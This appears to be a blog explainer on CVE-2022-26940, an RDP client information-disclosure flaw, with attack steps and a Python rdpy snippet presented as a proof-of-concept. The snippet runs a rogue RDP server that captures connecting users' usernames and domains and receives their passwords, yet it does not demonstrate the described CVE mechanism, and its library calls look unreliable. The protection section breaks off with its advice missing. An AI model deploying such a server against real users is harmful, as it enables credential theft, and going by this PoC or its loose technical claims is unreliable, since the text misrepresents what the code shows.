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In the past few years, organizations have increasingly relied on Microsoft’s Remote Desktop Protocol (RDP) to securely connect to remote machines. But on May 10, 2022, Microsoft published a new security advisory for a vulnerability tracked as CVE-2022-26940, officially called a "Remote Desktop Protocol Client Information Disclosure Vulnerability." You might think disclosures aren’t as scary as code execution, but information leakage can be a gateway for bigger attacks. This article delves into what CVE-2022-26940 is, how it works, and why it matters to you.

What is CVE-2022-26940?

Simply put, CVE-2022-26940 is a vulnerability in Microsoft's RDP client that allows a malicious RDP server to grab sensitive information from anyone who tries to connect. The main threat? If a user connects to a compromised or malicious RDP server, that server can harvest juicy details about the user or their machine, which could be used for future attacks or social-engineering schemes.

Technically Speaking

When you use RDP to connect to a remote system, your client (the computer you sit at) shares some basic information to negotiate the session—such as your username, operating system version, and sometimes other configuration details. Due to improper handling of this exchange, a malicious RDP server can trick older RDP clients into revealing information that shouldn’t leave your computer.

Why Does It Matter?

You might be thinking: “It’s only information disclosure, not code execution!” But here’s why this matters:

- Reconnaissance: Attackers can learn what version of Windows you’re running, which can help them tailor further exploits.
- Phishing: If an attacker knows your username or system details, phishing attempts get a lot more believable.

Lateral Movement: Hackers could use leaked credentials to move onto other internal resources.

As such, organizations and users who often connect to unknown RDP servers—think MSPs, IT support teams, or anyone using RDP over the internet—face real-world risk.

How Can This Get Exploited?

The exploit scenario is pretty simple, not requiring advanced hacking skills or fancy exploits.

Example Steps of Exploitation:

1. Attacker runs a malicious RDP server (can be any machine running RDP service software tailored for this exploit).
2. Victim connects to the attacker’s server using RDP (maybe by phishing, misconfiguration, or social engineering).
3. Malicious server extracts info (e.g., username, domain, and sometimes client version or even hostname) due to how the RDP handshake is handled.

Proof-of-Concept Snippet

Here’s a simplified Python snippet (using rdpy) that listens for connections and prints out client info. This is for educational purposes only!

from rdpy.protocol.rdp.server import RDPServerFactory
from twisted.internet import reactor

class InfoDisclosureServer(RDPServerFactory):
    def onReady(self):
        print("RDP Server started. Waiting for connections...")

    def onAuthentification(self, username, password, domain):
        print("Client connected!")
        print("Username:", username)
        print("Domain:", domain)
        return True

factory = InfoDisclosureServer()
reactor.listenTCP(3389, factory)
reactor.run()

With such a malicious server, every innocent connection hands over info straight to the attacker.

Original References and More Reading

- Microsoft Official Advisory
- NVD Entry
- rdpy – RDP Python Library

How Do I Protect Myself?

Good news: this vulnerability was patched in the May 2022 Patch Tuesday update. If your Windows machine is up-to-date, you’re safe. If not, or if you’re managing a network:

Final Thoughts

CVE-2022-26940 may seem like a “softer” vulnerability compared to the usual remote code execution bugs, but information disclosure is often the first step attackers take before a breach. The best defense? Keep your patches up-to-date and never let curiosity (or a suspicious-looking RDP invite) get the better of you.

Timeline

Published on: 05/10/2022 21:15:00 UTC
Last modified on: 05/19/2022 17:56:00 UTC